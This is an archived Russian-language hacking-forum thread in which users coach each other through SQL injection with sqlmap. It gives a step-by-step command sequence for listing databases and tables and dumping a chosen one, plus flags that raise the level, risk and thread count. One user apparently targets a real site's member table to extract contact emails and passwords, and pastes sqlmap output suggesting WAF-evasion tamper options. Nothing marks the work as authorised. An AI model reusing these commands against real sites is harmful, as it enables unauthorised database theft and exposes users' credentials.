ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
15.01.2016, 12:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
759330
Репутация:
147
|
|
Сообщение от ol1ver
ol1ver said:
↑
у меня не спрашивает(вроде как). Левел подними, как прописать то правильно? И какие пределы значения?
--dbms=mysql --level 5
|
|
|
|
15.01.2016, 14:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
7800
Репутация:
0
|
|
Сообщение от ms13
ms13 said:
↑
--dbms=mysql --level 5можно еще --risk 3 добавить
|
|
|
|
15.01.2016, 15:47
|
|
Guest
Сообщений: n/a
Провел на форуме:
759330
Репутация:
147
|
|
Сообщение от 0xrust
0xrust said:
↑
можно еще
--risk 3
добавить можно)
|
|
|
|
19.01.2016, 09:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
65956
Репутация:
0
|
|
как сделать дамп бд с сохранением структуры таблиц.
Таблица 1 Таблица 2 Таблица 3
11111111 222222222 333333333
А не строчками,делаю дамп получается 11111111222222222333333333 - не очень удобно
|
|
|
|
20.01.2016, 14:02
|
|
Guest
Сообщений: n/a
Провел на форуме:
5368
Репутация:
0
|
|
|
|
|
|
20.01.2016, 14:40
|
|
Guest
Сообщений: n/a
Провел на форуме:
5368
Репутация:
0
|
|
Сообщение от ms13
ms13 said:
↑
Извини, а это ты привёл пример той команды,которую ты вводишь в терминале? да
А дампом могу только 50 к слить
|
|
|
|
20.01.2016, 15:52
|
|
Guest
Сообщений: n/a
Провел на форуме:
5368
Репутация:
0
|
|
|
|
|
|
20.01.2016, 16:13
|
|
Guest
Сообщений: n/a
Провел на форуме:
759330
Репутация:
147
|
|
Сообщение от ruslan0477
ruslan0477 said:
↑
да
А дампом могу только 50 к слить Пробуй так!
sqlmap -u www.site.ru/showbanner.php?banner_id=X --dbs --no-cast
где X - тот id, к которому ты сначала тыкал свою каывчку, больше ничего не надо, map сам всё подберёт!
Но учти, после этой команды ты лишь узнаешь кол-во и имена БД...
Далее узнаёшь кол-во и имена таблиц в нужной БД:
sqlmap -u www.site.ru/showbanner.php?banner_id=X -D Y --tables --no-cast
где Y - имя нужной БД.
После дампишь нужную тебе таблицу:
sqlmap -u www.site.ru/showbanner.php?banner_id=X -D Y -T Z --dump --no-cast
где Z - имя нужной таблицы
Иногда, если извлекается очень медленно, можно добавить ключ --threads 10 , например - те увеличить кол-во потоков.
|
|
|
|
20.01.2016, 16:29
|
|
Guest
Сообщений: n/a
Провел на форуме:
5368
Репутация:
0
|
|
Сообщение от ms13
ms13 said:
↑
Пробуй так!
sqlmap -u www.site.ru/showbanner.php?banner_id=X --dbs --no-cast
где X - тот id, к которому ты сначала тыкал свою каывчку, больше ничего не надо, map сам всё подберёт!
Но учти, после этой команды ты лишь узнаешь кол-во и имена БД...
Далее узнаёшь кол-во и имена таблиц в нужной БД:
sqlmap -u www.site.ru/showbanner.php?banner_id=X -D Y --tables --no-cast
где Y - имя нужной БД.
После дампишь нужную тебе таблицу:
sqlmap -u www.site.ru/showbanner.php?banner_id=X -D Y -T Z --dump --no-cast
где Z - имя нужной таблицы
Иногда, если извлекается очень медленно, можно добавить ключ
--threads 10
, например - те увеличить кол-во потоков. C:\sqlmap.pyc sqlmap.pyc -u http://www.site.ru/showbanner.php?banner_id= -D sokulec_dev -T soku_member_14July2015 -C contact_email,password --dump Тоже самое.А таблицу я взял с дампера
|
|
|
|
20.01.2016, 16:59
|
|
Guest
Сообщений: n/a
Провел на форуме:
5368
Репутация:
0
|
|
[17:58:04] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Please retry with the switch '--text-only' (along with --technique=BU) as this case looks like a perfect candidate (low textual content along with inability of comparison engine to detect at least one dynamic parameter). Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
Что бы это значило?
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
